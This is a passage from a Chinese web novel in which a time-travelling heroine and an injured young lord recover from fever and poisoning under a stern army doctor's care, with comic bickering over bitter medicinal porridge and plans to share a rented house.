他但凡像叶绒一样不爱动脑筋,看不懂人的眼色的话,那就没那么多烦恼了。
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Emmm……
那没招了。
谨慎起见,谢阔觉得,他这两天还是应该再练练,给人灌药粥的技术。
打定了主意的谢阔,没再多说什么,就重新回到了自己的帐篷里。
并不知道自己,天亮后将要迎来什么的叶绒,本来还想着睡醒之后,先去谢某人那里催一催,让人赶紧把穿越大神的金像打造出来呢!
结果,她睡到半道,就……又醒了。
不是被冷醒的,也不是被热醒的,更不是被房间里的人踱步的声音给吵醒的。
叶绒之所以醒来——
主要是帐篷里,光线太亮了!
叶绒本以为已经到白天了。
结果,她迷迷糊糊的睁开眼睛时,看到的却是灯火通明的帐篷里,坐在谢阔的床边,给他换额头湿毛巾的程医远。
!!!
年下???
龌龊的想法刚在脑海里飘过,叶绒下意识打了个激灵。
她本还迷蒙的脑袋,瞬间清醒,想起程医远是大夫。
医术精湛的那种!
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没想到自己穿个男装,思想就跟着变得和男人一样污浊的叶绒,默默在心里忏悔了下,方才在床上弄出了点儿动静。
看到她醒了,刚给屋内躺着的两人把完脉的程医远,几不可见的松了口气。
保险起见,程医远重新来到叶绒床前,又给她切了下脉。
“很好,已经退热了”
啊嘞?
叶绒听到这话,才感觉到自己额头上的重量。
她甫一伸手,就摸到了和谢某人额头上搭着的一样的同款湿毛巾。
当然,这不是重点,重点是——
大冷天的,她额头放着的湿毛巾摸上去,温度竟然比她的手温,还要高一点。
所以,她这是——
“我发烧了?”叶绒一脸懵逼。
她睡着的时候,完全没有感觉啊!
程医远轻轻颔首。
看他紧皱的,没有一点松散开来迹象的眉头,叶绒小心翼翼咽了口口水,“我现在是不该醒吗?”
她这人一向怕麻烦,就连生病,都希望自个儿病成医生教科书上的典型,方便治疗的那种。
正在叶绒琢磨着,要不要重新躺回去的时候,只听程医远纳闷道:“奇怪啊,同样的药量,为何你醒了,少主却没醒呢?”
他当时为了怕他们两人同时出事,来不及救治,特意让人把少主给挪了过来。
关键他挪人的时候,让人把少主包的严严实实的,也没让他吹到冷风啊,为何他的发热,到现在还没好?
程医远着实想不明白。
反倒是叶绒,听到他的疑惑,她开口问了句,“他身上的伤口你看了吗?有没有红肿热痛现象?”
是不是洗澡,洗出来毛病了?
听到她的话,程医远:“……”
因两人同时发热,且症状一样的缘故,他开完药之后,并没有特意瞅一眼少主身上的伤痕。
她突然提起这一点,话里的意思该不会是——
“他白天的时候,伤口还没愈合呢,就去泡了个温泉,大概可能也许是……感染了?”
什么叫no zuo no die呀?
都21世纪了,竟然还有人不信这个邪!
哦、不对,她又忘了。
这里是古代来着,谢某人是纯正的古人。
那……他不信邪,更不正常了啊!
人孔子敬鬼神的话,都明晃晃的写在论语里了,这都敢不信?
活该啊,简直!
第一百一十七章 想不通
老实说,程医远是不想相信旁边这祖宗说的话的。
这倒不是因为他相信自家少主的人品。
主要是因为——
要真像叶绒说的这样的话,碰上这么个不爱惜自个儿的主子,他以后的工作就难做了。
虽然他们少主小小年纪,就跟着父亲带兵打仗了,但以前他打仗时受伤归受伤,最起码心里还有点数,绝不会乱来,坏了自己的身子骨,哪像这回——
都特么已经受伤了,竟然还敢洗澡?
咋滴,冬天死于热症让他感到骄傲啊?!
程医远实在是想不通,他们少主这脑子是怎么想的。
他就是跟叶绒一块儿待久了,被她给感染了,那也顶多是发发圣母心,往外散点儿钱罢了,也不至于糟蹋自己的身体啊!!!
身为一名大夫,程医远生平最恨的就是不遵医嘱,出事了之后还怪到大夫头上,拿大夫撒气不说,还想把人亲属性命都给收割了的那种达官显贵。
第二恨的嘛,就是像床上躺着的这种不爱惜自己身体的人。
你特么的,要是真不爱惜自己的身体,年轻的时候可着劲儿的造作,老了别找大夫治陈年老病呐!
——整的就跟那些稀奇古怪的病,在他身体里待着,待久了就跟听话的下属一样,令行禁止。
这不纯纯为难大夫吗?!
这么想着,程医远解开谢阔的衣襟看了看他身上的伤口。
只一眼的功夫,他的脸色就彻底的变黑了。
搁叶绒眼里,人大夫周身就跟加了特效一样,乌云翻滚雷声阵阵,吓得她心惊胆颤的,大气儿都不敢喘一下。
叶绒看着床上躺着的无知觉的男人,后知后觉的想到一件事情。
Emmm……
完了,她是不是闯祸了?
“程叔……”叶绒斟酌着,想临阵磨枪,为谢阔说几句好话。
“这事主要怪我,如果不是我先起了个头,率先去泡了个澡的话;他应该就不会不顾自己身体,直接去洗浴了。”
程医远听到叶绒这话,回以一个谴责的目光。
“怎么,是要我夸一下你爱干净吗?”
当着他的面特意提这事,是琢磨着他没底气教育她,所以想把同伙儿捞出来吗?
呵呵.jpg
耽误他治病救人,这回就是天王老子来了,都不管用!
叶绒:“……”
看程医远这副阴阳怪气的,她从未见过的样子,叶绒瞬间闭嘴,生怕被殃及池鱼。
然而,晚了。
“说起来,你们俩人运气蛮好的,毒药虽然把你们两人的精气神给消耗光了,但最起码没磨光你们的运势,不然的话,冲着碧落和红颜,去温泉里泡澡,一个不留神被水里的物质吸引,激发了体内毒性的话,豫州军赶过去恐怕就只能给你们收尸了。”
叶绒听到这话,忍不住小声反驳了下,“我是遭受了一夜碧落和红颜的折磨之后,浑身充满了虚汗,加上身上还有些血腥,实在是感觉受不了了,斟酌再三之后,才选择去洗澡的,再说了,我泡温泉之前,谢阔跟我说过,他已经把我体内的毒素全都封印到了心脉那儿。”
“我是确定不会毒发之后,才选择整理个人卫生的。”
叶绒觉得,她这么着没错呀!
倘若泡温泉和她的生命有所冲突的话,那她肯定会毫不犹豫的舍弃前者,而选择后者的。
她又不是傻子!
看她表情隐隐有些委屈的样子,程医远摸着自己的胡子,只默默反问了一句话;“所以,你是觉得今夜你们二人骤起风寒,与此事无关?”
叶绒:“……”
在医生面无表情的注视之下,叶绒鼓足勇气,轻轻点了下头,然后不等他生气,又赶紧摇了下头。
程医远看着她,默然不语。
叶绒旋即开口解释道:“我有提前做好保暖措施的,所以我发烧肯定不是因为泡澡泡的;但他不一样……”
叶绒说着,看向床上躺着的面容苍白,神情虚弱的男人。
程医远刚刚扯开他衣襟,看他身上伤口症状时,她悄摸摸瞅了一眼。
“他是伤口感染发炎了。”
他们俩人情况不一样,完全不能一概而论。
程医远:“……”
别说,你还真别说,她这话乍一听起来,还蛮有理有据的——
个鬼啊!
为了防止这没人敢惹的祖宗,固执己见,下回照样如此行事,程医远没直接出言反驳解释,而是在她理不直气也壮的表情下,似不经意间随口反问了一个问题。
“按你这么说,你俩病因不同,症状不同,那为何我把脉时,你们二人的脉象却是一样的?”
“而且,最重要的是,我开的方子,治伤寒的,让药童熬的药一分为二,你喝完之后就不再发热了。”
叶绒:“……”
一击必杀.jpg
前后两个问题,没一个是她能找到站得住脚的理由,反驳的存在。
叶绒嘴巴开合好几下,一个字都吐不出来之后,她整个人肉眼可见变得蔫儿了。
所以,这波真怪她呀?
她既害人中了碧落,要死要活的,疼了漫漫长的一夜之后,又害他在鬼门关徘徊了一波,热症未退,直到现在都没睁开眼睛。
她有罪!
叶绒从未想过,自己一次偷溜,竟然会引出这么大的事故来。
倘若老天,再给她一次选择的机会的话——
她还是会选择悄悄跑路的!
只不过会计划的更缜密些,例如——
让青黛挑个好时机,带原主来谢府后门口溜一趟,完了她悄悄去门缝那里扒拉着,瞅一眼的……那种跑路方法。
可惜,世上没有早知道;同样的,也没有后悔药可吃。
这么想着,叶绒杏眸水汪汪的看向床上一动不动的脆弱男人。
自认识以来,她还是头一次见他这般模样。
脆弱的跟随时能破碎的破布娃娃一样!
可怜又可爱。
“他不会有生命危险吧?”
万万没想到她的话题,会跳跃这么快的程医远:“……”
这话说的——
他一时都不知道,她到底是在瞧不起他们少主,还是在瞧不起他的医术了?!
第一百一十八章 不管她了吧?
程医远看了看叶绒的表情。
确认了——
她着实是在看不起他。
Emmm……
他承认,他现在是没办法,在短时间内,研制出碧落和红颜的解药,但她也不能因此就小瞧他吧!
区区一个热症,便是没有她给的神药辅佐的情况下,他们少主过往底子摆在那儿,他随便几副药下去,也能把他体内的邪热给散了啊!
难不成这祖宗还以为,他的名头是吹出来的?
这么一想,程医远:“……”
他心里头憋着股气儿,但一句话都没说,仔细避着帐篷里的另外一个人,上手大致把男人身上的伤口检查完一遍之后,他直接就提笔蘸墨,重新写起了药方……
“待我重新为少主开点药,他吃完发发汗,人就能醒来了。”
叶绒看程医远说这话时,脸上表情比他们高中教导主任还恐怖的模样,彻底没敢再为他们两人说一句话了。
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医生和老师的合体,她应付不来啊!
叶绒此时无比的希望,程医远赶紧把床上躺着的人弄醒,这样,等他药到病除醒过来之后,还能帮她分担一下压力。
抱着这种念头,接下来的时间,叶绒的嘴巴跟被拉链拉上了似的,全程没再说一句话,生怕打扰了程医远的治疗过程。
尤其是,他下笔跟鬼画符似的,不假思索的写下药方,交给药童熬制之后,他直接就拿起了几根粗的大银针对着谢阔刷刷刷的,扎了进去。
那么粗,那么长的银针,直接没入人体内半截儿,看着甚是吓人!
这波,估计就是容嬷嬷来了,也不敢跟他对上。
但相较而言,叶绒觉得这还不算什么。
毕竟,谢某人不知是睡着了还是晕过去了,总之一直没有清醒,感觉不到疼。
真正让叶绒觉得牙酸的是,当药童端着特制版的苦药汁子,进入到帐篷里的时候,那味道——
Emmm……
叶绒想了好半天,都没有想出来一个固有的,能形容药童手上端着的苦药汁子的味道的词语。
这简直是打破了她的惯有认知!
这世上,怎么会有把周遭空气都染苦的药呢?
药童刚一进来,本还在看来看去的叶绒,闻到他手里端着的药汁子的味道后,什么话都没说,就直接屏住了呼吸。
——这完全是叶绒的下意识反应。
为了怕和她同处一个空间的大夫再度注意到她,叶绒悄摸摸的,一点点的磨蹭着,躺回被窝里翻了个身,强迫自己闭着眼睛,接着睡下去……
本来嘛,接连睡了两回超长觉之后,她的意识是很清醒的,但在强大求生欲的作祟之下,重新躺回被窝里没一会的功夫,叶绒愣是又给睡着了……
等叶绒再度醒来的时候,她人虽然已经醒了,但眼皮完全没掀开的打算,鼻子先于眼睛工作,在空气里悄悄摸摸嗅了两下,没嗅到别的其它东西的异味之后,叶绒方才小心翼翼的睁开了眼睛。
甫一睁眼,叶绒便看到了在她隔壁床上,闭目养神的男人。
叶绒:???
这什么个情况?
叶绒从床上坐起来,身体稍微往和她住在对角线的男人望去。
她仔细瞅了瞅男人的面容,看他面色虽然依旧有些发白,但全然没有发热时的脆弱感之后,叶绒第一反应是高兴。
恭喜他们,又成功熬过了一劫。
“……”
叶绒心中的感动,还没弥漫开来,就和不知何时睁开了眼睛的男人,对上了视线。
看她终于醒了,谢阔轻啧了一声。
“你要是再睡下去,我都打算叫程叔过来帮你把脉了。”
讲真,就照她这么个睡法儿,猪来了都得甘拜下风!
听出他话里的潜意思,叶绒撇了撇嘴。
“这能怪我吗?真要论起来,这事儿全怪你。”
罪魁祸首,哪有资格对她说这种话?
谢阔闻言,有些诧异的挑了下眉。
男人没为自己申辩,而是摆出了一副洗耳恭听的架势。
叶绒顺势把昨晚的事情添油加醋的跟他说了一下,完了语重心长的以一句话做了总结。
“不听老人言,吃亏在眼前,这回你知道错了吧?下次还敢不顾自己身上的伤,直接泡温泉吗?”
谢阔:“……”
本该是他给她上课的,结果情况完全反了过来,这这这……
谢阔一时之间,有些无言以对。
不等叶绒继续变本加厉下去,程医远估摸着时间,带着熟悉的药童进了帐篷。
熟悉的人,熟悉的碗,唯二不同的点,一是药童托盘上放着的碗多了一个,二则是碗里装的东西,和昨天谢某人喝的药粥很是相似。
Emmm……
救命.jpg
叶绒内心小人儿抓狂。
万万没想到,上个课竟然要把自己给搭进去了,她很是后悔不迭。
早知如此,她便早醒一会儿,完了赶紧从帐篷里跑出去了。
正所谓学渣和老师之间有特殊的心电感应,同样的道理,医生和患者之间,也有着特殊的磁场。
哪怕叶绒脸上现在什么表情都没有,但只在进来时,不经意间一个对视的功夫,程医远便察觉到了她对他们这对不请自来的二人组的态度。
叶绒跟应激了似的瞬间闭嘴。
“那什么,我还没睡醒,我再接着睡会儿,你们该做什么做什么,不用管我!”
再让她当一回隐形人吧,谢谢!
病床上躺着的男人,看叶绒这般拒不配合的态度,无声的叹了口气。
他给了程医远一个眼神。
过去风餐露宿游走行医,为了盘缠,去过一些富贵人家,给那些人家里备受宠爱的小辈们看过病的程医远,几乎是秒懂他的意思。
“少主既然醒了,那便趁热把我让人熬的药粥给喝了吧。”
程医远一副冷淡的表情,摆出了一副公事公办的态度。
彼时的叶绒,还没有意识到有哪里不对,她以为他还在为昨夜的事生气。
甚至于,叶绒还隐隐有种松了口气的感觉。
他气儿都朝着当事人发了,应该不会再管她这只小虾米了吧?
第一百一十九章 丑拒
叶绒正这么想着的时候,突然看到了谢某人,难得崩人设的一幕——
只见谢阔看了看面容冷淡,表情严肃的程医远,然后又看了看药童手上端着的药粥,他整个**眼可见的沉默了一会儿之后,突然咳嗽了两声。
在叶绒和大夫灼灼目光的注视下,男人中气不足的道了句,“我已经好的差不多了,剩下的那一点,回头多吃点好东西补补就行了,劳烦程叔此番费心了,这药粥,你还是给其他更有需要的人喝吧。”
他话说的虽然很礼貌客气,但却端的是一副拒绝的态度。
然并卵——
回应他的是程医远冷冷一呵。
他没有和病床上躺着的人多做辩解,只默默问了一句,“你**之后又发烧,身体亏损很严重,接下来一段时间,只能喝我让人准备的药粥,你是想自己直接喝呢?还是我找几个好手过来按住你,然后把药粥给你灌下去?”
程医远看似很好说话的给了谢阔两个选择。
“……”
叶绒看着这话说的那叫一个硬气的程医远,整个**眼可见的懵逼了一下。
不是,这年头的医生,胆气儿都这么大的吗?
叶绒不可置信的看向屋内,和云朝未来开国君王对峙的大夫。
看他那不仅不见怯懦,还随时准备招手,叫人过来给他硬灌药粥的样子,叶绒大为震惊的同时,内心隐隐有些悲愤。
敢情她以前,都被电视剧和网上刷到的小视频给骗了啊!
医术好的人,无论在哪个时代都特么很硬气。
不信?请看她眼睛这一详细的例子——
谢阔听到程医远的话,似是被激怒了一样,肉眼可见的有些生气,“你敢——,这是在以下犯上!”
“少主若是想的话,待给你喂完药粥之后,我让人把家主请过来,也不是不可以。”
叶绒:!!!
犯规.jpg
长得这么和蔼慈祥的大叔,怎么会是这种人呢,一言不合就请家长?!
叶绒想不通。
然而,这招古往今来,屡试不爽。
“程医远……”
回应病床上的病人的是——
程医远面不改色的高声喊人进来。
谢阔:“……”
叶绒:“……”
两人同款震惊脸,莫说是表情了,就连心理活动都很相似。
不是,你来真的啊?!
“程叔……”
叶绒本来是不想开口说话的,但她觉得,这时候她不吭声的话,不太好。
这么想着,叶绒对上在她眼中,自动加了黑化光环滤镜的大夫的目光,鼓足勇气小小声道了句,“这里是我住的地方,我一女孩子在这住着,你贸然让那么多男的进来,……不太好吧?”
对上谢某人听到她这曲线救国的话之后,一言难尽看过来的目光,在男人眼神从她身上移开的那一刻,叶绒回以一个愧疚的笑容。
对不起,兄弟,我只能帮你到这里了!
万万没想到,她竟然会拿男女有别这件事情,来当借口?!
程医远:“……”
因为刚开始和她相处时,她是以男身混在了他们中间的,这相处的久了,再加上大家同为男人,一些个些许小事,他从来没注意过。
而之后,叶绒在谢府意外暴露女儿身之后,因在谢府和她相处时间过于短暂的缘故,老实说,程医远对此感触不是很大。
再加上身为一名大夫,在他眼中,男女之间的界限本就有些模糊,故而昨日他们两人同时起了热症之后,他一直有些疏忽,忘了这件事情。
就这么着,被人打乱了节奏之后,程医远表情空白了一下,一时不知该怎么接话。
好在,关键时刻,挺身而出的谢某人还靠得住。
只见听到叶绒的话之后,男人面不改色的抬眸看了她一眼。
“你现在在营地的其他人眼里,和我们一样都是好男儿。”
谢阔话说到这里,蓦地停顿了一下。
紧接着,不知想到了什么,男人看向叶绒的眼神,莫名带上了些幽怨。
“就目前而言,你和军营中其他人比起来,唯
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一的区别就是,你喜欢上了和我同性别的人,我在他们眼里,亦然如此。”
啊嘞???
叶绒刚开始听到谢某人,这说的有些绕口的话之后,一时还没明白过来他话里的意思。
好半响,回过味儿来的叶绒:“……”
“我昏睡过去的时间里,你都做了什么?”
好端端的,他们俩清白的名声,怎么就没了?
叶绒想破了脑袋,都想不明白,这到底是怎么个回事?!
难不成,他为了保护她的安全?特意在军营里,下达了什么与她有关的命令?
这么想着,叶绒眉头直接就皱了起来。
然而,叶绒猜测的话,还没来得及说出来,就直接被谢某人说出口的答案给否决了。
听完他说的话之后,叶绒:“……”
万万没想到,她在军营门口体力不支,承受不住晕过去了之后,他只下意识伸手接了她一下,竟然就接出了这么个天大的乌龙来!
不是——
鼻子下面一张嘴,有不懂的或想不明白的事情,你要是对此感到好奇的话,就直接开口问啊?!
他们两人行的端坐的正,又没有隐瞒的必要!
做什么非得脑补一下?
你要是对此没有任何好奇心的话,那更好了,就直接公事公办的该怎么做怎么做,干嘛闲着没事非得脑补一下,显得自己活儿轻松吗?
啊?!!!
看叶绒被他一句话,弄成了破防的模样,谢阔心里那口气总算是出了。
天知道,身为一个直男,被人误会成喜欢结契兄弟,他压力有多大。
被和他素不相识的人,误解了他性取向,这没什么,但怕就怕有心人查到这件事情之后,未来拿此事做文章。
你能想象,自个儿忙了一天之后,回屋洗个澡,正准备睡觉,然后突然有一长的比女人还女人的小厮,一边服侍你,一边勾引你,妄图给你暖床的场景吗?
只稍微这么一想,谢阔都觉得自己浑身的鸡皮疙瘩都起来了。
丑拒.jpg
第一百二十章 杀鸡儆猴?!
被人误会了关系的两人互相对视一眼,都从彼此的眼中,看到了对谢阔深深的同情。
经此一事,叶绒总算是明白了,为什么老祖宗常说,知道的太多不一定是好事。
同样的道理,放在这里,也一样是适用的。
——有时候吧,你睁眼闭眼,那真的是完全不一样的,眼睛一闭,哪儿还用得着管事呀?
嘤嘤嘤.jpg
可惜,叶绒已经错过了,用这个好理由躲避药粥的时机。
倘若程医远事先没给她把过脉的话,亦或者他们两人没有同样的遭遇的话,那她借此装晕,说不定还能瞒得过去。
然并卵——
一切都只是她美好的想象罢了。
真实的情况是——
谢某人被人打蛇打七寸,为了自个儿的面子着想,不想众目睽睽之下被人强压着喂饭的他,以至于最后选择了妥协。
这下,谢某人喝完药粥之后,压力直接全给到小透明叶绒这边了。
叶绒:“……”
威胁人的招式,谢阔已经提前试过了,并不管用。
——这倒也很正常!
毕竟,程医远多次在阎王手里抢人命,连阴间那至高无上的存在都不害怕,更何况是其他人呢!
Emmm……
那么,问题来了——
在这种情况下,看着药童手上端着的让人没有一点食欲不说,反而还感到有些反胃的药粥,她是喝呢?还是喝呢?!
叶绒虽然不怎么在乎自己的面子,但从实际角度出发考虑,她并不觉得以自己的小体格,能扛得住几个成年汉子的制裁。
反正归根究底,这碗药粥她无论喝不喝,最后结果都只是一个样,那她还抗拒个鬼?
这么想着,叶绒眼一闭心一横,直接就把药童递过来的,不知到底是该叫药粥好,还是应该叫粥药好的东西,往自己嘴里一灌……
呕——
哪怕早已有了心理准备,但叶绒还是被碗中物什整的,差点吐出来。
这世上,怎么会有这么难喝的东西呢?
叶绒百思不得其解。
一口药粥下肚之后,为了让自己好受一点,叶绒最终选择了放空自己的思绪。
话说程叔给他们两人开的药方子,她能等量代换,从西药里找出来和其药效相像的东西,然后来一出狸猫换太子吃了吗?
用中医把脉,吃西医的药,中西结合下来,他们身上的毒能解得更快吧?
叶绒因为自己脑中飘过的这一美妙的想法,狠狠的心动了下。
但很快,考虑到实际情况之后,她最终还是选择了放弃。
怪只怪,她当初大学专业没选和医药学有关的。
在连中药药性和西药分子结构都分不清楚的情况下,她就是想找些这边药粥的替代品换着吃,也不一定能找到对症下药的。
最有可能的结果是,她一吃一个不吱声,完了十八年之后,又是一条好汉!
嘤嘤嘤.jpg
她真惨。
看着喝着药粥,喝着喝着眼泪都给喝出来了的叶绒,谢阔感觉心情很是无奈。
此时的他,分外想见见自己的岳父岳母大人,和他们取取经,向他们打听一下,他们以前遇到叶绒生病不肯喝药的时候,是用什么法子说服她的?
“……”
谢阔首先排除的是物理说服的方法。
毕竟,她这根独苗苗的含金量在那里摆着呢,她爹娘要是敢动她一根毫毛的话,她祖父祖母怕不是会在他们动手之前,让他们重温一下小时候挨揍的记忆。
那么——
他们到底是怎么样,让她心甘情愿喝下调养身体的药粥的呢?
这么想着,在叶绒艰难的喝完一碗药粥之后,谢阔没给她回忆嘴中苦涩滋味的时间,而是先很是纳闷的问出了心中的疑惑。
“你以前喝药粥,也都是这么喝的吗?”
叶绒听到这话,默默白了男人一眼,“怎么可能!”
她以前确实喝过养生粥,但现代外卖打着养生的名头卖的粥,能和古代正儿八经的这种药粥比吗?
叶绒觉得,她再没有古代常识,也不会这么侮辱药材的。
“那你家里人以前
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是怎么哄你的?”
谢阔着实有些好奇,这一问题的答案。
他当真想跟着学以致用一下。
叶绒:“……”
她没有吭声。
俩人一起生活那么久,家庭住址都快被人套出来的叶绒,没心眼儿归没心眼儿,但事关她过往生活的时代和地方,该有的戒备和警惕,她还是有的。
不然的话,待她回了六年后,他们搁这边从她话里和一些蛛丝马迹的迹象之中,琢磨出来了一些不该他们知道的事情的话,那该怎么办?
生活已经很困难了,小说世界任务开局天崩,她日后再想完成任务,也是一件很难做到的事情,在这个前提之下,她没有理由没事找事,给以后的自己增加难度。
看叶绒这熟悉的抿唇不语的模样,谢阔:“……”
得,又涉及到她家族核心机密了。
Emmm……
家中长辈哄小辈,竟然涉及到了一个家族生存下来的核心机密,这话细听起来有些扯,但一旦放到她身上的话,貌似……还蛮正常的?
独苗苗的威力,谁碰谁知道!
众所周知,和她有关的所有事情,是都不能按照常理来推断的。
既然这样的话……
没有前辈经验可取,那就只能委屈她一下了。
在他没有想出一个切实可行的能长期使用的,让她好好听话吃药的好法子之前,她就只能当**鸡儆猴的那只猴了。
只希望程叔能给力一些,在她对这招完全免疫之前,多想想办法,赶紧找出帮他们两人解毒的方子。
不然的话……
他直接上手,不顾体面的给她灌药,影响到他们两人之间的塑料情谊的话,那就不太好了。
想到这里,谢阔默默看了叶绒一眼。
就——
一只配合宰杀的鸡,和一只被蒙在骨子里的猴什么的……
Emmm……
一时之间,谢阔突然不知道,他们两个人之间,到底是谁更可怜一点了。
哎!
生活不易,猫猫叹气.jpg
第一百二十一章 悲愤
就在谢阔叹气的时候,几乎是同时,叶绒也在心里轻轻叹了口气。
她也觉得,她蛮苦的。
生活不易啊!
先前,搁现代世界就不用说了,从小没了爹妈,好不容易被国家拉扯长大之后,刚成年还在上学,小小年纪就背上了助学贷款,一路边打工边上学,千辛万苦的把自己给供了出来,好不容易在实习期拿到了心仪公司的offer,未来前途肉眼可见的一片光明,可结果呢?
在她奔向光明未来时,不知从哪个旮旯角落里冒出来个神经病,对着她就是嘎嘎一顿捅,直接把她送进了icu……
若非穿越大神给力,在她濒死之际找上她,并且承诺,只要她按小说剧情做完恶毒女配该做的事情之后,等她在古代凉了,就无缝衔接把她送回去,重新送回那个神经病出现之前的时间点,让她能在现代接着好好的活下去的话,她怕不是就要哭着去和爸妈团聚了。
但穿越大神有能耐够给力是一码事,祂神不靠谱,又是一码事啊!
落地乱世,开局早来六年,完了还得让她自己想办法回到小说剧情的正确时间线上去,她容易嘛她?
当然,叶绒内心的痛苦,谢阔不得而知,反之亦然。
不过,他们两人虽然不能在此事上做到换位思考,感同身受,但程大夫特意让人熬制出来的药粥的可怕程度,他们两人却都了解的有够一清二楚了。
叶绒就着药童端来的温水,有一口没一口的抿着,好不容易把抽搐的胃部的**压下去之后,她终于松了口气。
Emmm……
叶绒看向害她如此难受的罪魁祸首,“你烧退了,药粥也吃了,该走了吧?”
谢阔听到她的话,本就在心中叹气的男人,脸上表情一个没控制好,带出了几分愁容。
“我知道我不是粮食,不可能人人都喜欢的,但你也不用这么嫌弃的,迫不及待的想把我撵走吧?”
他堂堂谢家少主,豫州未来的主事人,不要面子的吗?
叶绒看着男人幽怨的模样,露出了一副有些牙疼的表情。
不是吧?
难不成他喝药粥,好端端的把脑袋给喝出毛病来了?
啊、这……
眼角余光撇到在帐篷里待着,还没离开的大夫和药童,叶绒没敢把心里话说出来,而是做出了退而求其次的选择。
“既然你不想走的话,那这个帐篷就让给你了,咱俩换换地方住也不是不行。”
不管怎么说,反正只要他们两人不住在一起就行。
这样,她就不用再担心自己,一个不小心,又成了被殃及的池鱼。
——她承认,她把他害得生病,喝药粥,是她不对,但她就是再怎么赔礼道歉,也不能把自个儿给搭上,陪着他喝药粥啊!
她保证,等他们两人分开之后,她以后就是再有天大的事情,也绝对不会再到饭点去找他的!
……嗯?
谢阔看着心里写满了弯弯绕绕的叶绒,挑了挑眉,他还没来得及出声拒绝,就有人把他心里话说出来了。
“不行。”
叶绒转眸看向声源处,脸上满是疑惑。
“程叔?”
他治病救人,她不反对,并很是尊重他,也会很配合他的行动,但是——
他今儿个给谢某人准备药粥,就连带着也顺势让她喝了一碗,替谢某人解决了一半的困扰。
那明儿个,他给谢某人准备退烧药的时候,她是不是看到的时候,他还顺便打算再让她吃点儿退烧药啊?
Emmm……
想到自个儿已经接连两顿把药粥当饭吃了,叶绒脸上表情那叫一个一言难尽。
程医远假装没有看到自家少主投来的赞赏的目光,知道自己这波要劝说的重点是谁的他,直接重拳出击。
他对上叶绒复杂难辨的表情,说出了自己内心的想法。
“你先前说男女有别,这话说的一点都没错,昨夜你们二人同时起了热症之后,我让人把少主挪过来,在同一帐篷内对你们二人一同治疗,本就是事急从权的无奈之举,于您的名声有碍。”
程医远说到这
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里,轻轻对叶绒拱了拱手,以示歉意。
紧接着,不等她开口,他就接着道。
“但碧落和红颜毒性复杂难解,我亦不知以后对你们二人用药之后,你们身上会出现什么急症,万一再发生像这回一样的事情的话……”
程医远说到这里,重重叹了口气,看叶绒因他的话陷入沉默,显然听进去了的模样,他方才接着道:“这种事情一次两次还好,发生的次数多了,你身上的污名就洗不清了啊!”
程医远这话说的很是感慨。
无论什么世道,女儿家的名声都是相当重要的存在,马虎不得!
“故而,我觉得你们不应该住在军营帐篷里,且……速速离开吧。”
叶绒:“——”
目瞪口呆.jpg
不是……
她只是想和谢某人换个地方住罢了,他倒好,更绝,直接要把他们俩人一波都给弄走。
话说,她现在改口说不介意男女有别,还来得及不?
叶绒这么想着,转头眼巴巴的看向另一位当事人。
谢阔凝眉沉思了一会儿,然后很快做下了一个决定。
“程叔说得对。”
叶绒:“……”
小白菜,地里黄,冷风吹,心凄凉。
心凉凉的叶小白菜,在被窝里默默抱住了可怜的自己。
家人们,谁能想到啊,她起床吃个药粥的功夫,就没地儿住了?
这么想着,内心隐隐有些委屈的同时,叶绒那叫一个悲愤。
早知如此,她当初在怀县的时候,就直接搬出男女有别这座大山了。
这样,她就不至于绕一个大圈子中了毒,完事儿疼了一夜,接下来肉眼可见的还要遭一段时间的罪,才能重新回到正确的时间线上去了。
心里刚冒出这种念头,叶绒猛地想起来一件事情。
——她当时女扮男装来着。
Emmm……
Nozuonodie.
叶绒突然觉得,这话放到自己身上也蛮合适的!
第一百二十二章 谁教的?
正当叶绒为自己即将痛失温暖的被窝,风餐露宿而默默痛心不已时,习惯性把话说一半留一半的男人,看着叶绒脸上的表情,旋即又把后半句话给说了出来。
“男女有别,在军营里我们两人同住一个帐篷确实不好。”
谢阔说到这里,特意停顿了一下,给叶绒留了一些思考的时间。
说虽这么说,但他们两人要是不同时在程叔眼皮子底下待着的话,改日他为了给他们解红颜和碧落,尝试着在他们身上用了一些新方子的时候,他既无法及时观察药效在他们两人身上发生的情况,万一药方不适出现紧急危险的情况,他也没办法同时给他们二人展开救治,那……
他们两人之中无论哪一个出了事,豫州恐怕都受不了。
眼看叶绒明白他的暗示了,谢阔方才接着循序渐进,道出了内心的想法。
“为了你我的名声和性命考虑,我们去边城找个宅子一起租住下来吧?”
已经打定主意的男人想着,他都解释的这么详细了,叶绒对此要是还感到抗拒,不想同意的话,那他就来个先斩后奏。
反正先上车之后补票这种事情,一回生二回熟嘛!
死猪不怕开水烫的男人这么想着。
并不知道男人内心真正想法的叶绒:“……”
他话说了一大圈,绕了这么久,她才明白过来他的意思。
敢情就是换个地方住啊!
那好说。
出钱租房的不是她,出力找房的也不是她,她就一纯纯凑数的,只需要在入住的时候,凑个人头就好。
在这种情况下,她除了点头以外,还能有什么好说的?
这么想着,叶绒在男人注视下,轻轻点了下头,“行,我听你的。”
得到肯定的答复,谢阔几乎立马就吩咐人行动了起来
紧接着,没半天的功夫,叶绒就被人通知要搬家了。
才来帐篷里睡了一个晚上,还没睡出来熟稔感觉的叶绒:“……”
那什么,古代权贵人家的手下,办事效率蛮高的啊!
以后,但凡谁再跟她说,古人注重这儿顾忌那儿,虽然礼数周全,面子功夫做的足,但办事效率低下的话,她跟谁急?!
毕竟——
这速度要是效率低下的话,那现代那些租房找房的人,搁租房软件上扒拉一大圈,实地考察,走了一趟又一趟,完了的话,一个星期才能堪堪定下住址的人,他们的办事效率算什么?
叶绒从帐篷里搬走之前,特意找了趟谢某人。
“怎么了?”正在带病办公的谢阔听到帐篷外传来的急匆匆的脚步声,他头都没抬一下,就已经猜到了来人是谁。
这倒不是他们两人心有灵犀的缘故,主要是这又轻又急,由远及近走来,目标明确的不带一丝停顿的脚步声,整个偌大的九州,他只见过一个人拥有。
叶绒推开比她的帐篷还要稍微小一点的帐篷走进来的那刻,老实说,她内心是有点敬畏的。
这年头都生病了,昨天疼的差点儿直接去见阎王爷,然后今天就跟没事儿人一样照常办公什么的,且不说他能耐如何,就这调节心态的本事,那都是非同一般的——
牛啊!
谢阔许久没听到来人的动静,淡淡撩了撩眼皮。
“……”
“那什么,我来这里主要是想确认一件事情,我们离开这里,搬到豫州边界城内住的时候——”
在男人目光的注视下,本来一点都不觉得自己的话有什么问题的叶绒,说话声音越来越小。
“在非紧急必要的情况下,我们不会再同住一间屋子了,对吧?”
事关自己接下来一段时间是当鱼还是当人,哪怕被人看得非常不自在,叶绒还是坚持把内心想说的话,全都吐露了出来。
